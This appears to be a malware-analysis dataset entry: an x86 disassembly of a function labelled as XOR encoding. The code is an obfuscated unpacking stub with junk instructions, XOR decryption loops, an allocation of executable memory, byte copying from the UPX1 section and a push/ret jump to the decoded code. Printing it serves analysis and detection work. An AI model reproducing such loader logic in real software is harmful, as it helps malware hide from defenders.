Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe820b6d3
and edi, ebx
mov edi, ebx
popal
add edi, edi
sub ebx, 0xc9b408a6
mov eax, 0
mov ecx, edi
mov edx, 0x3ae2b8dc
add edx, edx
mov edx, 0xeb343e9d
mov ebx, ecx
add esi, edx
or edx, edx
mov edi, ebx
or edx, esi
sub edx, esi
inc eax
add esi, edx
not edx
cmp eax, 0x100c4b0
jne 0x47b44c
sub esi, 1
add esi, 0x91a4500b
or edx, esi
add edi, ebx
mov ebx, 0x3b896fc7
mov esi, 0x47b21e
sub edi, 0xe2c0a26a
add edi, ecx
not eax
mov edx, 0x47b412
add edi, ecx
not edi
mov ecx, edi
mov ebx, dword [esi]
mov ecx, edi
add ecx, edi
and ebx, 0xff
or edi, edi
mov ecx, edi
mov ecx, eax
xor dword [edx], ebx
not edi
dec edi
sub eax, 0x7dad16b3
inc edx
not edi
add edi, edi
add ecx, 0x1384c7ba
inc esi
mov ecx, 0x5f92f299
mov ecx, eax
cmp edx, entry0
jl 0x47b4a6
not ecx
sub ecx, 0xd6ac378e
mov eax, edi
sub eax, edi
add ebx, edi
sub ebx, 0x9c4843a0
mov esi, 0x47b416
sub edi, 0x56dc2544
add edi, 0x86137293
sub edi, ebx
mov esi, dword [esi]
add edx, 0x1999b352
and edx, ecx
add ecx, edx
mov esi, dword [esi]
sub ebx, ecx
add edx, 0x5638fdf3
sub ebx, 0x56e6d7d
push esi
not edx
not ecx
mov esi, 0x47b412
sub edi, 0x6fc03532
sub ebx, 0xd9bb8c85
not edi
mov esi, dword [esi]
sub ebx, 0xdbc1433a
add edi, 0xfabb34e
sub edi, ecx
mov esi, dword [esi]
inc edi
add ebx, 0x4e4844e4
sub ebx, edx
push 0x47b41a
add ecx, edi
add ecx, edi
call esi
add ebx, 0xaa08586
sub ecx, 0xe60fd292
pop esi
mov ecx, 0x6e469751
add ecx, edx
dec edi
push 0x47b427
add ebx, 1
sub edi, 0xd000d57a
and ebx, ebx
push eax
not ebx
mov edi, ecx
add ecx, ecx
call esi
mov edx, ebx
sub edi, edx
sub esp, 4
mov dword [esp], 0x40
sub edi, 0xfa3c2f97
dec ebx
sub edx, edi
push 0x3000
mov ecx, 0x32a4d51a
or edi, edx
push 0x200007d9
add edx, 1
add edi, 0xc61534a3
and ecx, ecx
sub esp, 4
mov dword [esp], 0
sub ebx, ecx
not edx
dec ebx
call eax
mov ebx, 0xc2a51f34
dec ebx
or ecx, ebx
add eax, 0x2000076f
mov edx, 0x9b20e244
sub ecx, edi
mov esi, 0x980dc581
mov edx, ecx
mov edx, 0xf65f76cb
add edi, 0x2639a7f9
mov dword [eax], esi
add edx, edx
add ecx, 1
or ecx, ecx
mov esi, dword [eax]
sub edx, ecx
not edi
cmp esi, 0x980dc581
je 0x47b623
mov eax, 0
mov dword [eax], edx
mov ebx, edx
not ebx
or ecx, ebx
inc ebx
sub edx, ebx
dec ebx
mov ebx, edi
dec ebx
mov eax, section.UPX1
sub edi, 0x6bee2cae
mov edi, 0xd0a3a596
and ebx, edi
mov ecx, 0x47b21d
not ebx
sub edi, 0x97462634
mov edx, 0
not edi
sub ebx, 0x2d7a8e5f
sub ebx, edi
mov esi, 0x47b21e
inc edi
mov ebx, 0x27f2aa11
mov edi, 0x98a1cefe
lea esi, [edx + esi]
inc ebx
and ebx, ebx
mov esi, dword [esi]
mov ebx, 0xc8e21082
add ebx, 0xcb2e8a56
add edi, ebx
and esi, 0xff
not ebx
or ebx, ebx
add edx, 1
add ebx, edi
sub edi, ebx
add edi, ebx
cmp edx, 0x1f4
jne 0x47b6a6
mov edx, 0
and edi, edi
mov edi, 0x6045513e
sub edi, ebx
sub ebx, 0x9a04a823
inc edi
xor dword [eax], esi
add edi, 0x7de82fa1
inc ebx
add eax, 2
mov ebx, edi
mov ebx, 0x46b951d1
cmp eax, ecx
jl 0x47b65e
sub edi, 0x3efae80a
add edi, ebx
add edi, 1
add ebx, edi
mov ecx, section.UPX1
and esi, eax
or eax, eax
mov edi, section.UPX1
inc esi
add eax, 0x3657cebf
mov edx, 0x47b21d
dec esi
mov eax, esi
mov ebx, 0
add esi, 0xbee6df0b
sub esi, 1
not eax
mov bl, byte [edi]
add eax, eax
dec esi
add esi, eax
mov byte [ecx], bl
sub esi, 0x4f559f78
add eax, 1
mov esi, 0xd050e0ec
inc ecx
mov esi, 0x5d377096
sub esi, 0x3b34a2aa
add edi, 2
sub esi, 0xe9b98b4d
not eax
cmp edi, edx
jle 0x47b714
add esi, eax
mov eax, 0xc8a2c45d
sub ebx, 1
dec ebx
add ebx, 0xd80d5a94
push 0x45e6a0
and edi, edi
inc ebx
ret